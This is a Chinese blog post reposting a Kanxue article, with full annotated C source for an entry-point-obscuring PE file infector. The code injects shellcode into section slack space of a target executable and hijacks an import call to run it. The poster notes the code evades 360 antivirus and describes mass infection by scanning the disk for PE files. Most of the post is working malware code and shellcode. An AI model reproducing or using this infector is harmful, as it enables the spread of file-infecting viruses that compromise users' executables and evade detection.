这是看雪上的一篇文章。原题叫做C语言实现的EPO不过我觉得叫inline hook更合适。动手实践了一遍虽然中间有点小波折但是最终成功了。我作了更多的注释以便理解,尤其是
PE 的call jmp 特性开始不清楚导致没能明白跳转回原来的api的真实地址。希望对有兴趣的人有帮助。vc6.0完成后最好能动态调试一下,会有惊喜发现。main()函数找来找去我才找到的。
不只是什么原因360没报毒。
如果想进行大规模感染就对磁盘的pe文件进行搜索。但是值得注意的是如果感染了一个没有加载user32的pe文件,或者程序改变了该dll加载的默认地址将会产生错误暴露自己。
// EPO.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <ImageHlp.h>
char inffiname[]=".\\hello.exe";//要感染文件的名字
PIMAGE_DOS_HEADER PDH=NULL;
PIMAGE_NT_HEADERS PNH=NULL;
PIMAGE_SECTION_HEADER PSH=NULL;
unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b" //\x表示后面的数据将转换成16进制存储到字符串中
"\x81\xeb\x0d\x10\x40\x00\x6a\x00"
"\x8d\x83\x30\x10\x40\x00\x50\x50"
"\x6a\x00\xb8\x78\x56\x34\x12\xff"
"\xd0\x9d\x61\xff\x25\x3a\x10\x40"
"\x00\x90\x72\x6f\x62\x69\x6e\x68"
"\x30\x30\x64\x00" ;//要注入的内容
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hfile;
HANDLE hmap;
LPVOID pmapview;
DWORD gapsize;//借间隙的大小
DWORD error;
unsigned char * pnewentry;//病毒注入地址
DWORD oldentry;//原程序入口地址
PROC mymessagebox;//定义过程
int x = 0x18 ;
int sectionlen;
unsigned char * psearch;
DWORD *dwCallNextAddr ;
DWORD *dwCallDataOffset ;
DWORD *dwCallDataAddr ;
DWORD dwCallData ;
DWORD dwCodeDistance ;
DWORD *dwJmpAddr ;
DWORD dwJmpData ;
DWORD dwJmpVA ;
hfile=CreateFile(inffiname,FILE_ALL_ACCESS,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(!hfile)
{
printf("打开失败\n");
return -1;
}
hmap=CreateFileMapping(hfile,NULL,PAGE_READWRITE,0,0,NULL);//readwrite所以上面的创建也是readwrite都允许
if(!hmap)
{
printf("创建文件映射对象失败\n");
return -1;
}
pmapview=MapViewOfFile
(hmap, // Handle to mapping object.
FILE_MAP_ALL_ACCESS, // Read/write permission
0, // Max. object size.
0, // Size of hFile.
0);
if(!pmapview)
{
printf("映射失败\n");
return -1;
}
PDH=(PIMAGE_DOS_HEADER)pmapview;
if(PDH->e_magic==IMAGE_DOS_SIGNATURE)//check dos header
{
PNH=(PIMAGE_NT_HEADERS)(DWORD (pmapview)+PDH->e_lfanew);
if(PNH->Signature=IMAGE_NT_SIGNATURE)//check pe header
{
PSH=(PIMAGE_SECTION_HEADER)(DWORD(PNH)+sizeof(IMAGE_NT_HEADERS));//定位到section table
gapsize=PSH->SizeOfRawData-PSH->Misc.VirtualSize;
if(sizeof(thunkcode)>gapsize)
{
printf("无法插入");
return 0;
}
pnewentry=(unsigned char *)(DWORD(pmapview)+PSH->PointerToRawData+PSH->Misc.VirtualSize);
oldentry=PNH->OptionalHeader.ImageBase+PNH->OptionalHeader.AddressOfEntryPoint;
mymessagebox=(PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;
for (int i=3;i>=0;i--)//修改病毒
{
thunkcode[i+27] = ((unsigned int)mymessagebox>>x)&0xff ;//&0xff就是转化成16进制数据api是一个8位的地址
x -= 8 ; //要将8为的地址mymessagebox两位一组存入thunkcode相应中
} //第一次循环不移位直接&0xff取出2位的数据接着循环3次全部取出
//在16进制数据中的地址数据是反向存储的
x = 24 ;
sectionlen = (int)PSH->Misc.VirtualSize ;
psearch= (unsigned char *)(PSH->PointerToRawData+
(DWORD)pmapview) ;
//:::搜索call指令(0xe8)
for (int i=0;i<sectionlen;i++)
{
if (psearch[i]==0xe8)
{
//:::call指令操作数地址
dwCallDataAddr = (DWORD *)(&psearch[i]+1) ;
//:::call下条指令地址
dwCallNextAddr=(DWORD *)(&psearch[i]+5) ;
//:::jmp指令地址//既call的地址
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
//:::Jmp指令在内存的虚拟地址VA
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pmapview+PSH->PointerToRawData)+
PNH->OptionalHeader.ImageBase+
PNH->OptionalHeader.AddressOfEntryPoint ;
//:::取jmp操作数,返回的时候使用
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;//看下面得反汇编代码
/*
000E040E E8 07000000 call 000E041A //call 后面得指令 其实是一个偏移函数真实的地址
000E0413 6A 00 push 0 //而是一个jmp 指令到真实地址
000E0415 E8 06000000 call 000E0420 //定位jmp的 方法 call后面的07+call的下一条指令地址
000E041A FF25 08204000 jmp dword ptr [402008] //call完成的工作包括push eip和jmp
000E0420 FF25 00204000 jmp dword ptr [402000]//
*/
//call的形式有两种上面是一种
//还有这中 FF15 28504000 call dword ptr [<&KERNEL32.GetVersion>; kernel32.GetVersion
//call 是FF15而不是 E8这种后面的操作数就是api地址
// dwJmpData=*dwCallDataAddr;
if ((*dwJmpAddr&0xffff)==0x25ff)
{
//:::修改call操作数
dwCodeDistance = (DWORD)pnewentry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
//:::原jmp里的操作数,替换到thunk code的末尾
for (i=3;i>=0;i--)
{
thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
x -= 8 ;
}
//把thunk code写入目标宿主程序
for (i=0;i<sizeof(thunkcode);i++)
{
pnewentry[i] = thunkcode[i] ;
}
break ;
}
}
}
}
}
else
{
printf("Invalid file format!\n") ;
}
UnmapViewOfFile(pmapview) ;
CloseHandle(hmap) ;
CloseHandle(hfile) ;
return 0;
}